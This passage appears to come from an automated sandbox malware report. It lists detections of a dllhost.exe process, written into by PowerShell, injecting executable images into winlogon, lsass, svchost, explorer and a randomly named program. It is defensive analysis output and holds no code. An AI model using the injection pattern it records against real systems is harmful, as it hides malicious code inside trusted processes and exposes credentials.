Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: EE472A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: EE4A2A8C	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC610000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0AB0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A6612D0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 2BAAE230000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26A87990000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 17953770000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2295D530000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 253067D0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1845B390000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1ADEBFD0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D559040000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 241A9E70000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD73160000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2824E860000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 21B473C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2086F9D0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 17183BC0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23FD3F70000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2A4150000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 275BDF30000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1AAC0260000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 203C9F30000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B5644B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BB7B2A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C004F60000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 24E2AB40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2644ADB0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 1990000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 20D25DA0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26EF5350000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A7F0D60000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23D0FFB0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B1C2570000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2108BCE0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 29166900000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 21C13EF0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1988D570000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 13869B40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E1CC740000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2855DA70000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2BF199D0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 15AF3890000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 21A03B80000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\sihost.exe base: 1CD40E40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 151A6530000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 19E27BC0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 17D7B150000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BE621A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2252F480000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 1F28B4B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 184683D0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\explorer.exe base: 7DB0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1972E260000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dasHost.exe base: 2246C5E0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 221D5930000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1ECFC650000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1D178740000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A633B40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2928D0A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 13DAB4C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 1A22A640000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 21C6CF30000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1EF641A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\audiodg.exe base: 1D349350000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 23B60DA0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2135E7B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1DEA1600000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\MoUsoCoreWorker.exe base: 1C5C4260000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F22F7C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 1F6E8150000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 20C52340000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 2589DA90000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 1F5602E0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 23A94D50000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26EF36C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 173E6B70000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 166801F0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\SysWOW64\cscript.exe base: 3020000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 1EB71E60000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe base: 3ED0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 227B9BA0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 232E3380000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1C06DDB0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1ECA6970000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 1010000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2AE0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2A60000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: A90000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2DF0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 9E0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: EB0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: AA0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: FE0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 3100000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2B90000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: BB0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2C20000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2E60000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 24A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: E40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: F40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: F40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 850000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: D00000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 840000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: F30000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: F30000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 1460000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 620000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2D90000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2640000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: E40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2600000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 1590000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2F90000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 890000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 3020000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2E90000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 5F0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: CF0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 25F0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 800000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: FB0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2C30000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: C00000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2CA0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2870000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2BB0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: CA0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: F50000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: EE0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 11D0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 1170000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 10A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2A90000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 1420000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 13E0000 value starts with: 4D5A	Jump to behavior
